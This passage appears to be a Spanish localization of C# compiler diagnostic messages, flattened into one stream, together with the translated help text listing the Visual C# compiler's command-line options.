en el tipo '{2}', por lo que no se pueden reemplazar + El acceso de indizador debe enviarse de forma dinámica, pero no se puede porque forma parte de una expresión de acceso base. Puede convertir los argumentos dinámicos o eliminar el acceso base. + '{0}' no tiene ningún método aplicable denominado '{1}', pero tiene un método de extensión con ese nombre. Los métodos de extensión no se pueden enviar de forma dinámica. Puede convertir los argumentos dinámicos o llamar al método de extensión sin la sintaxis de método de extensión. + '{0}': las propiedades abstractas no pueden tener descriptores de acceso privados + 'La expresión dada de la expresión "is" nunca tiene el tipo provisto + El indizador de matriz en línea no se usará para la expresión de acceso de elementos. + El tiempo de ejecución de destino no admite miembros abstractos estáticos en interfaces. + La cadena de versión especificada ''{0}'' no se ajusta al formato requerido: major.minor.build.revision (sin caracteres comodín) + No utilice el atributo "System.Runtime.CompilerServices.FixedBuffer" en una propiedad. + Error al abrir el archivo de manifiesto de Win32 {0}: {1} + UnscopedRefAttribute solo se puede aplicar a propiedades y métodos de instancia de struct, y no se puede aplicar a constructores o miembros de solo inicialización. + "{0}" es un nuevo miembro virtual en el tipo "{1}" sellado + La nulabilidad de los tipos de referencia del tipo de parámetro no coincide con la declaración de método parcial + Un árbol de expresión no puede contener una propiedad indizada + Sintaxis de suma de comprobación de #pragma no válida + El literal de cadena sin formato no comienza con suficientes comillas para permitir tantas comillas consecutivas como contenido. + LookupOptions tiene una combinación de opciones no válida + Se espera un inicializador de matriz con la longitud '{0}' + No se puede devolver un campo de solo lectura por referencia grabable. + instrucción "fixed" extensible + Un árbol de expresión no puede contener una expresión de índice del otro extremo ("^"). + matrices insertadas + Una expresión switch o etiqueta de caso debe ser del tipo bool, char, string, integral, enum o del correspondiente tipo que acepte valores NULL en C# 6 y versiones anteriores. + La ubicación se debe indicar para proporcionar una cualificación de tipo mínima. + Los módulos agregados se deben marcar con el atributo CLSCompliant para que coincidan con el ensamblado + El tipo '{2}' debe ser un tipo de referencia para poder usarlo como parámetro '{1}' en el tipo o método genérico '{0}' + El envío solo puede incluir código de script. + El registro define "Equals", pero no "GetHashCode". + '{0}': no se puede invalidar porque '{1}' no tiene un descriptor de acceso get invalidable + Una cláusula catch ya abarca todas las excepciones + indexando búferes fijos movibles + '{0}' es un archivo binario en vez de uno de texto + Los atributos destinados al campo en las propiedades automáticas no se admiten en esta versión del lenguaje. + La expresión switch debe ser un valor. Se encontró {0}. + No se puede asignar "{0}" a una propiedad de tipo anónimo + Uso de una propiedad implementada automáticamente posiblemente sin asignar + No se puede abrir '{0}' para escribir: '{1}' + La implementación explícita de un operador definido por el usuario "{0}" se debe declarar como estático + Posible instrucción vacía errónea + No se puede crear un delegado a partir del método '{0}' porque es un método parcial sin declaración de implementación + No invalide object.Finalize. En su lugar, proporcione un destructor. + constructor y destructor del cuerpo de expresión + patrón relacional + La nulabilidad de los tipos de referencia en el tipo de valor devuelto no coincide con el miembro reemplazado + Se esperaba un nombre de archivo entre comillas, un comentario de una línea o un fin de línea + El miembro "{0}" debe tener un valor que no sea nulo al salir con "{1}". + El comentario XML tiene un atributo cref '{0}' que hace referencia a un parámetro de tipo + El delegado '{0}' no tiene un constructor válido + ref parámetros readonly + La desconstrucción debe contener al menos dos variables. + Los métodos de extensión '{0}' definidos en el tipo de valor '{1}' no se pueden usar para crear delegados + Incoherencia de accesibilidad: la clase base '{1}' es menos accesible que la clase '{0}' + Una instrucción goto case solo es válida dentro de una instrucción switch + Devuelve por referencia un miembro del parámetro "{0}" a través de un parámetro ref; pero solo se puede devolver de forma segura en una instrucción "return" + La clase System.Object no puede tener una clase base o implementar una interfaz + Uso de una variable local no asignada + Una función anónima estática no puede contener una referencia a "this" o "base". + '{0}': no se pueden cambiar los modificadores de acceso al invalidar el miembro heredado '{2}' de '{1}' + Los indizadores no pueden tener un tipo void + Incoherencia de accesibilidad: el tipo de parámetro '{1}' es menos accesible que el operador '{0}' + "{0}" debe coincidir por solo inicialización del miembro invalidado "{1}" + El campo const requiere que se proporcione un valor + No se puede restaurar la advertencia 'CS{0}' porque estaba deshabilitada globalmente + La introducción de un método 'Finalize' puede afectar a la invocación del destructor. ¿Quería declarar un destructor? + Se devuelve un miembro de "{0}" por referencia, pero se inicializó en un valor que no se puede devolver por referencia + La nulabilidad del tipo de valor devuelto no coincide con el miembro invalidado (posiblemente debido a los atributos de nulabilidad). + Los tipos y los alias no deben denominarse "record". + El cuerpo de '{0}' no puede ser un bloque de iteradores porque '{0}' devuelve datos por referencia. + Número incorrecto de índices dentro de []; se esperaba {0}. + Se especificó un retraso en la firma y esto requiere una clave pública, pero no se ha especificado ninguna + Un método marcado como [DoesNotReturn] no debe devolver nada. + El término de expresión '{0}' no es válido + El modificador de accesibilidad del descriptor de acceso '{0}' debe ser más restrictivo que la propiedad o el indizador '{1}' + CallerFilePathAttribute solo se puede aplicar a parámetros con valores predeterminados + Falta la especificación de archivo de la opción '{0}' + Las declaraciones de método parcial deben tener valores devueltos de referencia que coincidan. + Se esperaba un nombre de archivo entre comillas + Conversión definida por el usuario duplicada en el tipo '{0}' + Se esperaba el tipo byte, sbyte, short, ushort, int, uint, long o ulong + El control se devuelve al autor de la llamada antes de que la propiedad implementada automáticamente '{0}' se asigne explícitamente, lo que provoca una asignación implícita anterior de 'default'. + Uso inesperado de un nombre genérico + '{0}' no necesita ningún atributo CLSCompliant porque el ensamblado no tiene ningún atributo CLSCompliant + La firma de la clase contenedora de coclases administradas '{0}' para la interfaz '{1}' no es una signatura de nombre de clase válida + El tipo '{1}' existe en '{0}' y en '{2}' + El tipo "{0}" no se puede usar en este contexto porque no se puede representar en metadatos. + Posible argumento de referencia nulo para el parámetro "{0}" en "{1}". + El tipo entra en conflicto con un tipo importado + Se espera un valor constante de tipo '{0}' + No se puede crear un tipo genérico construido a partir de un tipo no genérico. + El carácter '{0}' solo se puede escapar duplicando '{0}{0}' en una cadena interpolada. + Elemento de inclusión XML no válido + Posible tipo de valor devuelto de referencia nulo. + Esta advertencia se produce cuando crea una clase con un método cuya firma es public virtual void Finalize. + +Si se utiliza una clase de este tipo como clase base y si la clase derivada define un destructor, este reemplazará al método Finalize de la clase base, no a Finalize. + "Especificador de rango no válido: se esperaba "]"" + inicializador stackalloc + No utilice el atributo 'System.Runtime.CompilerServices.FixedBuffer'. En su lugar, use el modificador de campo 'fixed'. + No se permite utilizar NULL en este contexto + Devuelve por referencia un miembro del parámetro a través de un parámetro ref; pero solo se puede devolver de forma segura en una instrucción "return" + El miembro de registro "{0}" debe ser privado. + directiva global de uso + El calificador de alias del espacio de nombres '::' siempre se resuelve en un tipo o espacio de nombres, por tanto, aquí no es válido. En su lugar puede usar '.'. + Los operadores de conversión, igualdad o desigualdad declarados en interfaces deben ser abstractos o virtuales + El parámetro de tipo '{0}' no se puede utilizar con el operador 'as' porque no tiene ninguna restricción de tipo de clase ni una restricción 'class' + El tipo local de archivo "{0}" debe declararse en un archivo con una ruta de acceso única. La ruta de acceso "{1}" se usa en varios archivos. + La palabra clave 'base' no está disponible en ningún método estático + La característica experimental "interceptores" no está habilitada en este espacio de nombres. Agregue '{0}' al proyecto. + No se puede inicializar el miembro '{0}'. No es un campo ni una propiedad. + Ambigüedad entre '{0}' y '{1}' + La función local se declara pero nunca se usa + Error de sintaxis de línea de comandos: falta el GUID para la opción '{1}' + No se puede usar "{0}" como tipo de {1} en un método con el atributo "UnmanagedCallersOnly". + El ensamblado '{0}' al que se hace referencia está destinado a un procesador diferente. + No se puede asignar {0} a una variable con tipo implícito + Error al escribir en el archivo de salida: {0}. + '{0}': el constructor estático no puede tener ninguna llamada de constructor 'this' o 'base' explícita + variable de entorno LIB + El método inicializador de módulos "{0}" debe estar accesible en el nivel de módulo. + '{0}' no puede implementar '{1}' porque '{2}' es un evento de Windows Runtime y '{3}' es un evento normal de .NET. + '{0}' está obsoleto + '{0}' es de tipo '{1}'. El tipo especificado en una declaración de constantes debe ser sbyte, byte, short, ushort, int, uint, long, ulong, char, float, double, decimal, bool, string, un tipo de enumeración o un tipo de referencia. + La cadena de versión especificada no se ajusta al formato recomendado: principal,secundaria,compilación,revisión + La conversión definida por el usuario en una interfaz debe convertir hacia o desde un parámetro de tipo en el tipo envolvente restringido al tipo envolvente + El parámetro '{0}' no tiene la etiqueta param correspondiente en el comentario XML para '{1}' (pero otros parámetros sí) + La propiedad indizada '{0}' tiene argumentos no opcionales que se deben proporcionar + Para que el tipo "{0}" se utilice como AsyncMethodBuilder para el tipo "{1}", su propiedad Task debe devolver el tipo "{1}" en lugar del tipo "{2}". + '{0}': un campo no puede ser tanto volátil como de solo lectura + Solo los registros pueden heredar de registros. + Literal de cadena sin formato sin terminar. + Los atributos de expresiones de un paréntesis requieren una lista de parámetros entre paréntesis. + Los tipos estáticos no se pueden usar como parámetros + Se esperaba la directiva #endregion + <missing> + El literal de cadena sin formato interpolado no comienza con suficientes caracteres \"$\" para permitir tantos corchetes de apertura consecutivos como contenido. + La nulabilidad de los tipos de referencia del tipo no coincide con el miembro implementado de forma implícita + El nombre de parámetro '{0}' entra en conflicto con un nombre de parámetro generado automáticamente + Los parámetros de tipo no se permiten en un grupo de método como argumento de "nameof". + Incoherencia de accesibilidad: el tipo de parámetro '{1}' es menos accesible que el delegado '{0}' + El uso de alias no puede ser un tipo 'ref'. + Una cláusula catch previa ya detecta todas las excepciones. Las no excepciones producidas se incluirán en System.Runtime.CompilerServices.RuntimeWrappedException. + Error al insertar algunos de los XML de inclusión o todos ellos + No se puede usar await con '{0}' + La restricción "default" solo es válida en los métodos de invalidación y de implementación de interfaz explícita. + parámetro + Se espera un valor constante + El generador '{0}' no pudo generar el origen. No contribuye a la salida y pueden producirse errores de compilación como resultado. La excepción era de tipo '{1}' con el mensaje '{2}'. +{3} + El parámetro de tipo '{0}' tiene el mismo nombre que el parámetro de tipo del tipo externo '{1}' + El literal de tipo double no se puede convertir implícitamente en el tipo '{1}'; use un sufijo '{0}' para crear un literal de este tipo + There is no target type for the collection expression. + Una variable no puede declararse dentro de un patrón "not" u "or". + + Opciones de compilador de Visual C# + + - ARCHIVOS DE SALIDA - +-out:<archivo> Especificar el nombre del archivo de salida (valor predeterminado: nombre base del + archivo con clase principal o primer archivo) +-target:exe Compilar un archivo ejecutable de consola (valor predeterminado) (forma + corta: -t:exe) +-target:winexe Compilar un archivo ejecutable de Windows (forma corta: + -t:winexe) +-target:library Compilar una biblioteca (forma corta: -t:library) +-target:module Compilar un módulo que se pueda agregar a otro + ensamblado (forma corta: -t:module) +-target:appcontainerexe Compilar un archivo ejecutable de Appcontainer (forma corta: + -t:appcontainerexe) +-target:winmdobj Compilar un archivo intermedio de Windows Runtime que + WinMDExp consume (forma corta: -t:winmdobj) +-doc:<file> Archivo de documentación XML que se va a generar +-refout:<file> Salida del ensamblado de referencia para generar +-platform:<string> Limitar en qué plataformas se puede ejecutar este código: x86, + Itanium, x64, arm, arm64, anycpu32bitpreferred o + anycpu. El valor predeterminado es anycpu. + + - ARCHIVOS DE ENTRADA - +-recurse:<wildcard> Incluir todos los archivos del directorio y + y subdirectorios actuales según las especificaciones del carácter + comodín +-reference:<alias>=<file> Metadatos de referencia del archivo de ensamblado especificado + con el alias proporcionado (forma corta: -r) +/reference:<file list> Metadatos de referencia de los archivos de ensamblado + especificados (Forma corta: -r) +-addmodule:<file list> Vincular los módulos especificados a este conjunto +-link:<file list> Incrustar metadatos de los archivos de ensamblado de la interoperabilidad + especificada (Forma corta: -r) +-analyzer:<file list> Ejecutar los analizadores desde este ensamblado + (Forma corta: -a) +-additionalfile:<file list> Archivos adicionales que no afectan directamente a la generación de + código, pero los analizadores pueden usarse para producir + errores o advertencias. +-embed Incrustar todos los archivos de código fuente en el archivo PDB portable. +-embed:<file list> Incrustar archivos específicos en la PDB. + + - RECURSOS - +-win32res:<file> Especificar el archivo de recursos Win32 (.res) +-win32icon:<file> Usar este icono para la salida +-win32manifest:<file> Especificar un archivo de manifiesto win32 (.xml) +-nowin32manifest No incluir el manifiesto Win32 predeterminado +-resource:<resinfo> Incrustar el recurso especificado (forma corta: /res) +-linkresource:<resinfo> Vincular el recurso especificado a este ensamblado + (Forma corta: -linkres) En la que el formato de resinfo + es <file>[,<string name>[,public|private]] + + - GENERACIÓN DE CÓDIGO - +-debug[+|-] Emitir información de depuración +-debug:{full|pdbonly|portable|embedded} + Especifique el tipo de depuración ("full" es el valor predeterminado, + "portable" es un formato multiplataforma, + "embedded" es un formato multiplataforma incrustado en + el archivo .dll o .exe de destino) +-optimize[+|-] Habilitar optimizaciones (forma corta: -o) +-deterministic Producir un ensamblado determinista + (incluyendo el GUID de la versión del módulo y la marca de tiempo) +-refonly Generar un ensamblado de referencia en lugar de la salida principal +-instrument:TestCoverage Producir un ensamblado instrumentado para recopilar + información de cobertura +-sourcelink:<file> Información del vínculo de origen para insertar en el archivo PDB. + + - ERRORES Y ADVERTENCIAS - +-warnaserror[+|-] Notificar todas las advertencias como errores +-warnaserror[+|-]:<warn list> Notificar advertencias específicas como errores + (use "nullable" para todas las advertencias que acepten valores NULL) +-warn:<n> Establecer el nivel de advertencia (0 o superior) (forma corta: -w) +-nowarn:<warn list> Deshabilitar mensajes de advertencia específicos + (use "nullable" para todas las advertencias que acepten valores NULL) +-ruleset:<file> Especificar un archivo de conjunto de reglas que deshabilite + diagnósticos específicos. +-errorlog:<file>[,version=<sarif_version>] + Especifique un archivo para registrar todo lo del compilador y el analizador + diagnósticos. + sarif_version:{1|2|2.1} El valor predeterminado es 1. 2 and 2.1 + ambos referencian a la versión 2.1.0 media de SARIF. +-reportanalyzer Notificar información adicional del analizador, como + hora de ejecución. +-skipanalyzers[+|-] Omitir la ejecución de analizadores de diagnóstico. + + - IDIOMA - +-checked[+|-] Generar comprobaciones de desbordamiento +-unsafe[+|-] Permitir código "unsafe" (no seguro) +-define:<symbol list> Definir los símbolos de la compilación condicional (forma + corta: -d) +-langversion:? Muestra los valores permitidos para la versión del lenguaje +-langversion:<string> Especificar la versión de idioma como + "más reciente" (versión más reciente, incluidas las versiones secundarias), + "default" (igual que "latest"), + `latestmajor` (versión más reciente, incluidas las versiones secundarias), + "preview" (versión más reciente, incluidas las características de la versión preliminar no admitida) + o versiones específicas, como "6" o "7.1" +-nullable[+|-] Especificar la opción de contexto que acepta valores NULL: enable|disable. +-nullable:{enable|disable|warnings|annotations} + Especifique la opción de contexto que acepta valores NULL: enable|disable|warnings|annotations. + + - SEGURIDAD - +-delaysign[+|-] Retrasar la firma del ensamblado usando solo la parte pública + de la clave de nombre seguro +-publicsign[+|-] Firmar públicamente el ensamblado usando solo la parte pública + de la clave de nombre seguro +-keyfile:<file> Especificar un archivo de clave de nombre seguro +-keycontainer:<string> Especificar un contenedor de claves de nombre seguro +-highentropyva[+|-] Habilitar ASLR de alta entropía + + - VARIOS - +@<file> Leer el archivo de respuesta para obtener más opciones +-help Mostrar este mensaje de uso (forma corta: -?) +-nologo Suprimir el mensaje de copyright del compilador +-noconfig No incluir automáticamente el archivo CSC.RSP +-parallel[+|-] Compilación simultánea. +-version Mostrar el número de versión del compilador y salir. + + - AVANZADO - +-baseaddress:<address> Dirección base para la biblioteca que se compilará +-checksumalgorithm:<alg> Especificar el algoritmo para calcular el archivo de origen + suma de comprobación almacenada en PDB. Los valores admitidos son: + SHA1 o SHA256 (valor predeterminado). +-codepage:<n> Especificar la página de códigos que se va a utilizar cuando se abren los archivos de código + fuente +-utf8output Salida de mensajes del compilador en codificación UTF-8 +-main:<type> Especificar el tipo que contiene el punto de entrada + (omitir todos los demás puntos de entrada posibles) (forma + corta: -m) +-fullpaths El compilador genera rutas de acceso completas +-filealign:<n> Especificar la alineación utilizada para las secciones + del archivo de salida +-pathmap:<K1>=<V1>,<K2>=<V2>,... + Especifique una asignación para los nombres de ruta de acceso de origen generados por + el compilador. +-pdb:<file> Especificar el nombre del archivo de información de depuración (predeterminado: + nombre de archivo de salida con extensión .pdb) +-errorendlocation Línea de salida y columna de la ubicación final de + cada error +-preferreduilang Especificar el nombre del idioma de salida preferido. +-nosdkpath Deshabilitar la búsqueda de rutas de acceso SDK predeterminadas para la biblioteca estándar. +-nostdlib No hacer referencia a bibliotecas estándar (mscorlib.dll) +-subsystemversion:<string> Especificar versión del subsistema de este ensamblado +-lib:<file list> Especificar directorios adicionales en los que buscar + referencias +-errorreport:<string> Especificar cómo controlar los errores del compilador interno: + solicitar, enviar, poner en cola o ninguno. El valor predeterminado es + queue. +-appconfig:<file> Especificar un archivo de configuración de la aplicación + que contiene la configuración de enlace del ensamblado +-moduleassemblyname:<string> Nombre del ensamblado del que formará parte + este módulo +-modulename:<string> Especificar el nombre del módulo de origen +-generatedfilesout:<dir> Colocar archivos generados durante la compilación en el + directorio especificado. +-reportivts[+|-] Información de salida sobre todos los IVT concedidos a este + ensamblado por todas las dependencias y anotar los errores de accesibilidad de ensamblados + externos con el ensamblado del que proceden. + + Error de sintaxis; se esperaba un valor + '{0}' no puede estar sellado porque no es una invalidación + #error: '{0}' + La variable de rango '{0}' ya se ha declarado + Se especificó una clave pública de firma no válida en AssemblySignatureKeyAttribute. + No se tiene en cuenta el nombre de elemento de tupla "{0}" porque el tipo de destino "{1}" ha especificado otro nombre o no ha especificado ninguno. + Esta advertencia se produce cuando intenta llamar a un método, a una propiedad o a un indizador en un miembro de una clase que deriva de MarshalByRefObject y el miembro es un tipo de valor. Los objetos que se heredan de MarshallByRefObject suelen estar diseñados para serializarse por referencia a través del dominio de una aplicación. Si, alguna vez, algún tipo de código intenta acceder directamente al miembro del tipo de valor de un objeto así a través del dominio de una aplicación, se producirá una excepción en tiempo de ejecución. Para resolver la advertencia, primero debe copiar el miembro en una variable local y llamar al método en esa variable. + No se puede interceptar la llamada con '{0}' porque no está accesible en '{1}'. + Dos indizadores tienen nombres distintos; el atributo IndexerName se debe utilizar con el mismo nombre en todos los indizadores de un tipo + El modificador de tipo de referencia del parámetro no coincide con el parámetro correspondiente en el destino. + "await" requiere que el tipo de valor devuelto "{0}" de "{1}.GetAwaiter()" tenga miembros "IsCompleted", "OnCompleted" y "GetResult" adecuados y que implemente "INotifyCompletion" o "ICriticalNotifyCompletion". + '{0}' es una referencia ambigua entre '{1}' y '{2}' + Un constructor declarado en una `struct' con una lista de parámetros debe tener un inicializador `this' que llame al constructor primario, o a un constructor declarado explícitamente. + La opción reemplaza el atributo proporcionado en el archivo de origen o en el módulo añadido + Los tipos y alias no se pueden denominar 'required'. + "{0}": "readonly" solo se puede usar en los descriptores de acceso si la propiedad o el indexador tienen un descriptor de acceso get y set + Dependencia de tipo base circular que requiere "{0}" y "{1}" + Identificador o literal numérico esperado + No se puede convertir implícitamente el tipo '{0}' en '{1}' + Desreferencia de una referencia posiblemente NULL. + No se puede incluir el fragmento XML + Esto devuelve por referencia la variable local, pero no es una variable local de tipo ref + "{0}": el evento de instancia en la interfaz no puede tener un inicializador + "{0}" no es un tipo de convención de llamada válido para "UnmanagedCallersOnly". + El constructor '{0}' no se puede llamar a sí mismo + Es posible que no se use un comentario de una sola línea en una cadena interpolada. + Se devuelve la variable local por referencia, pero se inicializó en un valor que no se puede devolver por referencia + Una variable o función local denominada '{0}' ya se ha definido en este ámbito + No se puede interceptar: la compilación no contiene un archivo con la ruta de acceso '{0}'. ¿Pretendía usar la ruta '{1}'? + Los dos ensamblajes difieren en el número de versión y/o compilación. Para que haya unificación, debe especificar directivas en el archivo .config de la aplicación y debe proveer el nombre seguro correcto de un ensamblaje. + No se puede modificar el valor devuelto de '{0}' porque no es una variable + '{0}': el tipo base '{1}' no es conforme a CLS + Se debe asignar un valor al miembro necesario '{0}', no puede usar un inicializador de colección o miembro anidado. + Las instrucciones de nivel superior deben preceder a las declaraciones de espacio de nombres y de tipos. + Las declaraciones de método parcial "{0}" y "{1}" tienen diferencias de signatura. + El archivo de origen no puede contener declaraciones de espacio de nombres normales y de ámbito de archivo. + No se puede asignar a '{0}' porque es de solo lectura + mediante alias de tipo + El parámetro {0} se declara como tipo '{1}{2}', pero debería ser '{3}{4}' + Error al leer el archivo '{0}' especificado para el argumento con nombre '{1}' del atributo PermissionSet: '{2}' + Un árbol de expresión no puede contener una expresión switch. + Ya se ha especificado una cláusula de restricciones para el parámetro de tipo '{0}'. Todas las restricciones correspondientes a un parámetro de tipo se deben especificar en una sola cláusula where. + El modificador ''estático'' debe preceder al modificador ''No seguro''. + con los tipos anónimos + No se puede usar await con 'void' + No se puede devolver por referencia la variable local '{0}' porque no es de tipo ref. + La llamada de constructor debe enviarse de forma dinámica, pero no se puede porque forma parte de un inicializador de constructor. Puede convertir los argumentos dinámicos. + No se puede inferir el tipo de variable out con tipo implícito '{0}'. + No se pueden incrustar tipos de interoperabilidad desde el ensamblado '{0}' porque no tiene el atributo '{1}'. + La directiva de intervalo de #line requiere un espacio delante del primer paréntesis, antes del desplazamiento de caracteres y antes del nombre de archivo + inicializador de objeto + Las variables con tipo implícito no pueden tener varios declaradores + No se puede devolver {0} "{1}" por referencia grabable porque es una variable readonly. + Un espacio de nombres no puede contener directamente miembros como campos, métodos o instrucciones + El modificador de miembro '{0}' debe ir delante del tipo y nombre de miembro + La expresión switch no controla todos los valores posibles de su tipo de entrada (no es exhaustiva). + Intercepción de una llamada a '{0}' con el interceptor '{1}', pero las firmas no coinciden. + Se esperaba } + Bloque switch vacío + Se esperaba un argumento de atributo con nombre + La cadena de entrada no se puede convertir en la representación de bytes UTF-8 equivalente. {0} + El parámetro tiene varios valores predeterminados distintos. + El argumento de tipo '{0}' no se puede aplicar al atributo DefaultParameterValue + La conversión definida por el usuario debe realizarse en el tipo envolvente o desde este + Uso de un campo posiblemente sin asignar + El miembro de estructura '{0}' de tipo '{1}' crea un ciclo en el diseño de la estructura + El tipo de restricción no es conforme a CLS + patrón entre paréntesis + No se puede aplicar la clase de atributo '{0}' porque es abstracta + Esto devuelve por referencia un miembro de la variable local "{0}", pero no es una variable local de tipo ref + La expresión dada coincide siempre con la constante proporcionada. + '{0}' debe declarar un cuerpo porque no se marcó como abstracto, externo o parcial + Se detectó código inaccesible + "{0}" no puede implementar el miembro de interfaz "{1}" en el tipo "{2}" porque la característica "{3}" no está disponible en C# {4}. Use la versión de idioma "{5}" o una posterior. + El campo ref '{0}' debe asignarse a la referencia antes de usarlo. + Posible asignación de referencia nula + registros + El método asincrónico carece de operadores "await" y se ejecutará de forma sincrónica. Puede usar el operador 'await' para esperar llamadas API que no sean de bloqueo o 'await Task.Run(...)' para hacer tareas enlazadas a la CPU en un subproceso en segundo plano. + La palabra clave contextual "var" no se puede utilizar como un tipo de retorno lambda explícito + establecedores solo de inicialización + La variable de rango '{0}' no puede tener el mismo nombre que un parámetro de tipo de método + El tipo '{0}' no tiene constructores definidos + método anónimo + Se esperaba un script (archivo .csx), pero no se especificó ninguno + Solo una declaración de tipo parcial puede tener una lista de parámetros + No se pueden utilizar patrones de segmento para el valor de tipo "{0}". + Esto devuelve por referencia un parámetro, pero no es de tipo ref + tipos que aceptan valores NULL + '{0}' requiere la característica del compilador '{1}', que no es compatible con esta versión del compilador de C#. + El constructor principal está en conflicto con el constructor de copia sintetizado. + Omitiendo la opción /noconfig porque se especificó en un archivo de respuesta + tipos de referencia que aceptan valores NULL + El formato de desconstrucción 'var (...)' no permite especificar un tipo determinado para 'var'. + Falta el número de línea especificado para la directiva #line o no es válido + El archivo XML con formato incorrecto "{0}" no se puede incluir + No se puede cargar el ensamblado del analizador {0}: {1} + El operador '{0}' definido por el usuario debe declararse estático y público + La declaración no es válida; en su lugar, use 'operador {0} <tipo de destino> (...' + '{0}': los tipos estáticos no se pueden usar como tipos de valores devueltos + '{0}' no debe tener un parámetro params porque '{1}' tampoco lo tiene + Se devuelve "{0}" de la variable local por referencia, pero se inicializó en un valor que no se puede devolver por referencia + El control se devuelve al autor de la llamada antes de que el campo se asigne explícitamente, lo que provoca una asignación implícita anterior de 'default'. + No se puede crear el archivo temporal: {0} + La mejor sobrecarga para '{0}' no tiene un parámetro denominado '{1}' + El parámetro de tipo '{0}' tiene el mismo nombre que el tipo contenedor o el método + El miembro oculta el miembro heredado. Falta una contraseña nueva + Un método parcial debe declararse dentro de un tipo parcial + El tipo '{1}' de '{0}' está en conflicto con el espacio de nombres importado '{3}' de '{2}'. Se usará el tipo definido en '{0}'. + El espacio de nombres '{1}' de '{0}' está en conflicto con el tipo importado '{3}' de '{2}'. Se usará el espacio de nombres definido en '{0}'. + El mejor método Add sobrecargado '{0}' del inicializador de colecciones tiene algunos argumentos no válidos + Una expresión de tipo "{0}" no puede coincidir nunca con el patrón proporcionado. + No se pueden usar patrones de lista para un valor de tipo \"{0}\". No se encontró ninguna propiedad \"Length\" o \"Count\" adecuada. + La creación de matriz debe disponer de un tamaño de matriz o un inicializador de matriz + igualdad de tupla + El parámetro de tipo '{0}' no tiene ninguna etiqueta typeparam correspondiente en el comentario XML en '{1}' (pero otros parámetros de tipo sí) + No se puede interceptar: La ruta de acceso '{0}' no está asignada. Se esperaba la ruta de acceso asignada '{1}'. + Un parámetro In no puede tener un atributo Out. + La asignación en la expresión condicional siempre es constante; ¿quería utilizar == en lugar de = ? + Error al leer el archivo de manifiesto '{0}' de Win32: '{1}' + Un árbol de (la) expresión no puede contener una conversión de controlador de cadena interpolada. + Las ramas del operador condicional ref hacen referencia a variables con ámbitos de declaración incompatibles + El atributo '{0}' del módulo '{1}' se omitirá a favor de la instancia que aparece en el origen + No se puede asignar {0} a una variable de rango + Un parámetro params debe ser el último parámetro de una lista de parámetros + La coincidencia del tipo de tupla "{0}" requiere subpatrones "{1}", pero hay subpatrones "{2}". + No se permite una instrucción throw sin argumentos en una cláusula finally anidada en la cláusula catch más cercana + El descriptor de acceso "set" implementado automáticamente "{0}" no puede marcarse como "readonly". + Una tupla debe contener al menos dos elementos. + El tipo '{0}' no se puede usar como argumento de tipo + La instrucción foreach no puede funcionar en variables de tipo "{0}" porque "{0}" no contiene ninguna definición de extensión o instancia pública para "{1}". ¿Quiso decir “await foreach” en lugar de “foreach”? + El nombre de archivo '{0}' está vacío, contiene caracteres no válidos, tiene una especificación de unidad sin ruta de acceso absoluta o es demasiado largo + Esta referencia asigna “{1}” a “{0}” pero “{1}” tiene un ámbito de escape de valor más amplio que “{0}” lo que permite la asignación mediante “{0}” de valores con ámbitos de escape más estrechos que “{1}”. + La nulabilidad de los tipos de referencia del tipo de parámetro no coincide con el miembro reemplazado + El entorno de ejecución de destino no admite la accesibilidad protegida, protegida interna o protegida privada para un miembro de una interfaz. + El tipo de interoperabilidad '{0}' no se puede incrustar porque le falta el atributo '{1}' requerido. + La expresión lambda asincrónica convertida en un delegado que devuelve "{0}" no puede devolver un valor + restricciones de tipo genérico unmanaged + La anotación de tipos de referencia que aceptan valores NULL solo se debe usar en el código en un contexto de anotaciones "#nullable". El código generado automáticamente requiere una directiva "#nullable" explícita en el código fuente. + El nombre de idioma '{0}' no es válido. + No se puede usar más de un tipo en una instrucción for, using, fixed o de declaración + La variable de rango '{0}' no se puede asignar: es de solo lectura + '{0}' no contiene un constructor que tome {1} argumentos + Las cadenas de referencia cultural de ensamblado no pueden contener caracteres NULL incrustados. + Lista de parámetros inesperada. + Un inicializador de módulos debe ser un método de miembro ordinario. + Un campo fijo no debe ser un campo de referencia. + cadenas interpoladas constantes + "{0}": no se puede especificar a la vez una clase de restricción y la restricción "unmanaged" + No se puede usar la variable '{0}' en este contexto, porque puede exponer variables a las que se hace referencia fuera de su ámbito de declaración. + No se puede usar el tipo "{0}?" que acepta valores NULL en un patrón; utilice el tipo "{0}" subyacente. + Solo se puede tener acceso a un miembro de interfaz abstracta o virtual estático en un parámetro de tipo. + Ambas declaraciones de métodos parciales deben usar un parámetro params; si no, ninguna podrá usarlo + No se encuentra "{0}" en la declaración de interfaz explícita entre los miembros de la interfaz que se pueden implementar + El tipo '{1}' de '{0}' está en conflicto con el tipo importado '{3}' de '{2}'. Se usará el tipo definido en '{0}'. + No se permite la aplicación explícita de "System.Runtime.CompilerServices.NullableAttribute". + Los elementos de matriz no pueden ser del tipo '{0}' + No se pueden colocar modificadores en declaraciones de descriptores de acceso de eventos + '{0}' no implementa el miembro de interfaz '{1}'. '{2}' no puede implementar implícitamente un miembro que no sea accesible. + La clase base '{0}' debe ir antes que cualquier interfaz + La expresión condicional no es válida en la versión de lenguaje {0}porque no se encontró un tipo común entre "{1}" y "{2}". Para usar una conversión con tipo de destino, actualice a la versión {3} o superior. + Se especificaron opciones que están en conflicto: archivo de recursos de Win32; manifiesto de Win32 + Los iteradores no pueden tener parámetros de tipo de puntero + CallerMemberNameAttribute no se puede aplicar porque no hay conversiones estándar del tipo '{0}' al tipo '{1}' + No se puede devolver un miembro del parámetro "{0}" por referencia, porque no es un parámetro out o ref. + (Ubicación del símbolo relacionado con el error anterior) + Se ha especificado el argumento stdin "-", pero la entrada no se ha redirigido desde el flujo de entrada estándar. + No se puede proporcionar ningún valor en el cuerpo de una cláusula catch + La nulabilidad de los tipos de referencia del tipo de valor devuelto no coincide con el miembro implementado de forma implícita (posiblemente debido a los atributos de nulabilidad). + Dado que se trata de un método asincrónico, la expresión devuelta debe ser de tipo '{0}' en lugar de ''{1}'' + Se esperaba { o ; + La palabra clave 'this' no es válida en una propiedad, método o inicializador de campo estáticos + El parámetro tiene modificador de parámetros en lambda, pero no en el tipo delegado de destino. + El miembro de interfaz "{0}" no tiene una implementación más específica. Ni "{1}" ni "{2}" son los más específicos. + parámetro opcional + Ruta de búsqueda especificada no válida + No se puede devolver "this" por referencia. + No se encuentra el tipo de interoperabilidad que coincide con el tipo de interoperabilidad incrustado '{0}'. ¿Falta alguna referencia de ensamblado? + Esta advertencia se emite cuando los atributos AssemblyKeyFileAttribute o AssemblyKeyNameAttribute del ensamblador encontrados en el origen entran en conflicto con las opciones de línea de comando 